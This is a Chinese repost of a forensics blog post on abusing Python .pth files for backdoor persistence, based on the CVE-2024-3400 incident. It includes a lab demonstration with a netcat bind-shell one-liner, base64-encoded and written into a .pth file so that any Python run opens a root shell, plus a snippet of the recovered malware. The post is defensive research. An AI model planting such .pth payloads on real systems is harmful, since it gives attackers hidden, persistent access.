【Python安全】Python .pth 文件作为后门持久化机制的分析

news/2025/1/16 14:13:40/文章来源:https://www.cnblogs.com/o-O-oO/p/18674880

引言

update.py 脚本的目的是在以下路径部署后门:/usr/lib/python3.6/site-packages/system.pth。这个用 Python 编写的后门从一个导入语句开始,其主要内容以 base64 编码的 blob 形式存储。.pth 扩展名用于向 Python 模块添加额外的路径。从 Python 3.5 版本开始,在.pth 文件中以"import"开头 (后跟空格或制表符) 的行会被执行,这在官方文档中有所描述。因此,通过创建这个文件,每当设备上的任何其他代码尝试导入该模块时,恶意代码就会被执行。

【来源】: Volexity, GlobalProtect 未经身份验证的远程代码执行漏洞 (CVE-2024-3400) 的零日利用

总结一下:从 Python 3.5 开始,在.pth 文件中以"import"开头 (后跟空格或制表符) 的行会被执行。这使得此类文件中的恶意代码能够在设备上任何代码导入模块时运行。在这篇博文中,我们将深入研究这种后门技术的细节,检查其实现方式并调查它是否会留下任何痕迹。

路径配置文件

路径配置文件(.pth) 为 Python 提供了一种扩展其模块搜索路径的方法,使其能够包含 Python 查找模块和包的额外目录。

当.pth 文件放置在 site-packages 或 dist-packages 目录 (我们稍后会介绍) 中时,Python 在启动时会处理这些文件。.pth 文件中的每一行可以向模块搜索路径添加目录,或者在特定条件下执行 Python 代码,正如 Volexity 所强调的那样。特别是,以 import 开头 (后跟空格或制表符) 的行会被执行。利用.pth 文件是在被入侵系统上持久化的一种创新且隐蔽的方法,因为大多数数字取证和事件响应 (DFIR) 工具和枚举脚本通常不会明确检查额外的 Python 路径配置文件。

恶意文件分析

Volexity 发现的 update.py 文件 (MD5: 0c1554888ce9ed0da1583dbdf7b31651) 包含以下 Python 代码。
完整文件可在 VirusTotal 上获取:


def protect():import os,signalsystempth = "/usr/lib/python3.6/site-packages/system.pth"content = open(systempth).read()# os.unlink(__file__)def stop(sig,frame):if not os.path.exists(systempth):with open(systempth,"w") as f:f.write(content)

该后门确保文件system.pth不会被删除。虽然 Volexity 没有分享这个文件的具体内容,但我们可以在实验室中使用类似的.pth文件重现代码执行过程。

在上面的 Python 代码中,目录/usr/lib/python3.6/site-packages/被用来存储恶意的.pth文件。但是,这个路径可能会根据系统配置而变化。那么,还有哪些其他选项可用呢?根据 Python文档所述:site 模块还提供了一种从命令行获取用户目录的方法。:

root@pth:~# python3 -m site
sys.path = ['/root','/usr/lib/python312.zip','/usr/lib/python3.12','/usr/lib/python3.12/lib-dynload','/usr/local/lib/python3.12/dist-packages','/usr/lib/python3/dist-packages',
]
USER_BASE: '/root/.local' (doesn't exist)
USER_SITE: '/root/.local/lib/python3.12/site-packages' (doesn't exist)
ENABLE_USER_SITE: True

在我们的 Ubuntu 服务器上,虽然没有site-packages文件夹,但我们确实有一个dist-packages目录。让我们来探索一下是否也可以在这里建立一个隐蔽的持久化机制。

漏洞利用

我们使用基本的 Netcat(nc) 绑定 shell 作为 payload。一旦执行,它将向互联网开放 45555 端口,只要有人在我们被入侵的服务器上运行 Python 代码就能获得访问权限。

root@pth:~# echo 'nohup bash -c "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f 
| /bin/sh -i 2>&1 
| nc -l 0.0.0.0 45555 > /tmp/f" &' | base64 -w0bm9odXAgY[..]ZiIgJgo=

Base64 编码的命令被嵌入到以下脚本中,该脚本将被写入文件/usr/local/lib/python3.12/dist-packages/malmoeb.pth。需要注意的是,.pth文件必须以关键字import;开头,否则 Python 将不会执行其中包含的代码。

root@pth:~# echo "import os; os.system('echo "bbm9odXAgY[..]ZiIgJgo=" |
base64 -d|bash')" > /usr/local/lib/python3.12/dist-packages/malmoeb.pth

这是一个有效的持久化技术,因为只需要简单执行 Python 代码就能触发它:

root@pth:~# python3 -c "print('dfir.ch')"
dfir.ch

现在我们的后门已经打开,可以成功连接到被入侵的服务器:

malmoeb@home ~ % nc 164.90.220.147 45555
# id
uid=0(root) gid=0(root) groups=0(root)
# 

太好了!如果你仔细观察上面python3 -m site的输出,你可能已经注意到在 /root 目录下缺少 site-packages 文件夹。让我们来探索这种方法:

root@pth:~# mkdir -p /root/.local/lib/python3.12/site-packages
root@pth:~# mv malmoeb.pth /root/.local/lib/python3.12/site-packages
root@pth:~# python3 -c "print('dfir.ch')"

没错,我们又一次获得了 shell。
接下来呢?

如果在被入侵的 Linux 系统上存在 EDR,进程链 (Python -> Bash -> nc) 很可能会触发警报,甚至仅仅是 Python -> Bash 就可能引起怀疑。此外,密切监控新创建的.pth文件可以帮助检测这些持久化机制。然而,默认的安全解决方案不太可能识别出这种后门或.pth文件中代码的执行。

与隐藏的.pth文件相关的风险已经在cpython项目的问题追踪器中讨论过 (Issue #113659)。

【图】隐藏 pth 文件的安全风险

这个问题的严重性并不是很大,因为它需要用户交互才能激活。但它确实增加了风险。我认为我们应该禁止处理隐藏的 pth 文件。

$PYTHONPATH - 深入探索

Itzik Kotler SafeBreach 的联合创始人兼 CTO,发表了我在你的$PYTHONPATH中,后门你的Python程序(演示文稿可在这里获取)。

在他的演讲中,Itzik 演示了如何在不改变模块原有功能的情况下,向任何 Python 模块添加额外的代码。他使用PYTHONPATH环境变量重定向到修改后的模块,这在我看来,为这里讨论的.pth文件技术增添了一个有趣的层面。

在系统被入侵后,Python 模块可能被注入恶意代码,或者PYTHONPATH环境变量可能被劫持。有多少安全团队能真正检测到这种行为呢?

参考

[1]Volexity, GlobalProtect 未经身份验证的远程代码执行漏洞 (CVE-2024-3400) 的零日利用: https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
[2]文档: https://docs.python.org/3.8/library/site.html
[3]Issue #113659: https://github.com/python/cpython/issues/113659
[4]Itzik Kotler: https://www.linkedin.com/in/itzikk/
[5]这里: https://www.ikotler.org/docs/InYourPythonPath.pdf

原创 dfir securitainment

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/870114.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何禁止外网通过IP和端口访问特定站点?

当您希望禁止外网通过IP和端口直接访问某个特定站点时,可以通过配置服务器的安全组规则和防火墙设置来实现。以下是详细的步骤和注意事项:理解安全组和防火墙的区别:安全组规则主要作用于云服务器层面,控制进出服务器的流量;而防火墙则是在操作系统级别进行流量过滤。两者…

如何解决宝塔面板升级后无法访问的问题?

您好,根据您的描述,宝塔面板在升级后无法正常访问。以下是详细的分析和解决方案:确认升级过程:确保升级过程中没有中断或异常,所有文件均已正确下载并安装。有时网络不稳定可能导致升级失败。 检查宝塔面板的日志文件(通常位于/www/server/panel/logs),查看是否有报错信…

如何重置宝塔账户密码为默认密码?

您好,根据您的描述,您希望将宝塔账户密码重置为默认密码。以下是详细的步骤和注意事项:确认重置需求:确认确实需要重置宝塔账户密码,并了解重置后的影响。重置密码将覆盖现有密码,确保记录下新的默认密码。 如果不确定是否需要重置,请先尝试找回密码功能,避免不必要的麻…

宝塔面板升级后无法访问

问题: 宝塔面板在升级后无法正常打开,用户尝试通过提供的入口地址和登录凭据进行访问时遇到问题。此外,用户的网站也经常出现无法访问的情况,怀疑是由于服务器受到攻击或配置问题导致的。请问如何排查并解决这些问题? 答案: 您好!宝塔面板在升级后无法正常访问的问题可能…

TAITherm - 专业热管理工具

TAITherm是ThermoAnalytics公司开发的专业三维热仿真分析工具,广泛应用于国内外汽车、摩托车、工业自动化、重型机械等行业的热仿真设计中。同系列的CoTherm耦合优化模块可支持稳态/准瞬态/瞬态热流耦合、一三维耦合、FMU集成、设计优化、敏感性分析、代理模型训练等应用。概述…

【Eel库】用于制作类似 Electron 的离线 HTML/JS GUI 应用程序

简介 Eel 是一个简单的 Python 库, 用于制作类似 Electron 的离线 HTML/JS GUI 应用程序, 并可以完全访问 Python 功能和库。Eel 托管一个本地 Web 服务器, 让您可以标注 Python 中的函数, 以便从 JavaScript 调用它们, 反之亦然。Eel 旨在简化编写简短和简单的 GUI 应用程序的…

【Java】若依(ruoyi-cloud)——14.Sentinel支持(服务熔断与降级)

若依微服务版(ruoyi-Cloud)如何实现熔断和降级? 知识前提:对Sentinel的使用有了解 若依微服务版启动 对nacos服务注册和使用有了解若依微服务版(ruoyi-cloud)中使用sentinel,进行服务熔断与降级。 环境要求和前提 JDK >= 1.8 (推荐1.8版本) Mysql >= 5.7.0 (推荐5.7…

Hutool 实现非对称加密(RSA)

目录思路生成RAS密钥消息公钥加密、私钥解密代码Demo生成 A 的密钥生成 B 的密钥A 发送消息给 BB 解密 A 消息对称加密中,我们只需要一个密钥,通信双方同时持有。而非对称加密需要4个密钥。通信双方各自准备一对公钥和私钥。其中公钥是公开的,由信息接受方提供给信息发送方。…

【Node.js渗透】提取和分析 .asar 文件

#Electron 免责声明 ⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!书接上回以及上上回,在了解了操作系统上基于 Electron 的应用程序的安装和识别过程后,我们将探讨提取…

大模型微调基本概念指北

本文主要分享一下大模型微调相关的基本概念,包括大模型(GPT)训练流程、微调(SFT)方法&分类&框架&最佳实践、强化学习(RLHF),最后则是分享了如何训练垂直领域大模型。本文是参考网上博客、文章后进行总结而成,旨在让刚接触大模型的同学阅读后能对大模型训练的各个…

看了一个关于linux platform的好视频

视频地址: 《嵌入式Linux platform总线驱动与设备匹配的三种方式》 https://www.bilibili.com/video/BV134CFYqEki?buvid=YC4D5AC32B076A51424FACFDDBD3BD15822A&from_spmid=tm.recommend.0.0&is_story_h5=false&mid=PbeiH8sfJs5bwGp1257AQw%3D%3D&plat_id=1…